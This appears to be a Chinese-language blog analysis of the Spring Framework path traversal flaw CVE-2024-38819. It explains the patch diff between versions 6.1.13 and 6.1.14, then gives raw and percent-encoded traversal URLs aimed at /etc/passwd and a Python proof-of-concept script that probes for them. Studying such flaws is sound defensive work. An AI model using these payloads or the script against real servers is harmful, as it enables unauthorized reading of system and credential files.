2024年12月16日,放出来了poc:https://mp.weixin.qq.com/s/g64YdLFa_o3GZDic9WfkIQ
CVE-2024-38819
https://spring.io/security/cve-2024-38819
通过功能性 Web 框架 WebMvc.fn 或 WebFlux.fn 提供静态资源的应用程序容易受到路径遍历攻击。攻击者可以构建恶意 HTTP 请求,并获取文件系统上任何文件,这些文件也可以被运行 Spring 应用程序的进程访问。
这与 CVE-2024-38816 类似,但输入不同。
Affected Spring Products and Versions
Spring Framework:
5.3.0 - 5.3.40
6.0.0 - 6.0.24
6.1.0 - 6.1.13
Older, unsupported versions are also affected
看到6.1.x版本存在漏洞,而6.1.14版本不存在,我下载了13和14两个版本的代码,想要通过对比查看这个漏洞点在哪里
使用WinMerge对比代码发现在,webmvc目录下的代码存在如下差异:
来看下变更的代码
1 |
|
可以看到主要是添加了上面的两个函数normalizePath decode
路径规范化(
normalizePath
方法的添加):- 新代码中添加了
normalizePath
方法,这个方法更详尽地处理了路径中的编码问题。如果路径包含百分号(%
),该方法将尝试解码路径,并在解码后再次验证路径是否含有../
,如果有,则调用StringUtils.cleanPath
来规范化路径。这增加了对路径编码漏洞的防护,可以防止攻击者利用编码后的特殊字符(如%2e%2e%2f
对应../
)进行攻击。
- 新代码中添加了
路径解码逻辑(
decode
方法的实现):- 新增的
decode
方法尝试解码路径,如果解码失败,则返回空字符串。这样的处理减少了因解码失败导致的异常抛出,增强了代码的健壮性,并间接防止了可能的攻击。
- 新增的
更严格的路径验证(改进
isInvalidPath
和isInvalidEncodedInputPath
方法):isInvalidPath
方法现在直接返回true
如果路径中包含"../"
,这简化了检查逻辑,确保了路径中不包含向上级目录的跳转。isInvalidEncodedInputPath
方法对于包含百分号的路径,会在解码后对路径进行两次检查,一次是直接解码后,另一次是处理(正规化)解码后的路径。这样的双重检查可以更有效地捕捉到潜在的非法路径访问尝试。
下面分析利用链
通过test可以看到是类似这样的资源访问会触发,接下来尝试构造poc
构建请求:
- 尝试通过多重编码的路径来绕过可能的单层路径过滤。
- 示例路径:
http://example.com/resources/../../../../../../../../../etc/passwd
- 使用编码避免过滤:
http://example.com/resources/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
- 更多编码层次:
http://example.com/resources/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
构建测试脚本(使用Python):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19import requests
def test_path_traversal(url_base):
# 不同层次的编码测试
paths = [
"/../../../../../../../../../etc/passwd", # 无编码
"/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd", # 单次编码
"/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd" # 多次编码
]
for path in paths:
full_url = f"{url_base}{path}"
response = requests.get(full_url)
if "root:" in response.text:
print(f"Vulnerable to path traversal at {full_url}")
else:
print(f"Secure against path traversal at {full_url}")
if __name__ == "__main__":
test_path_traversal("http://example.com/resources")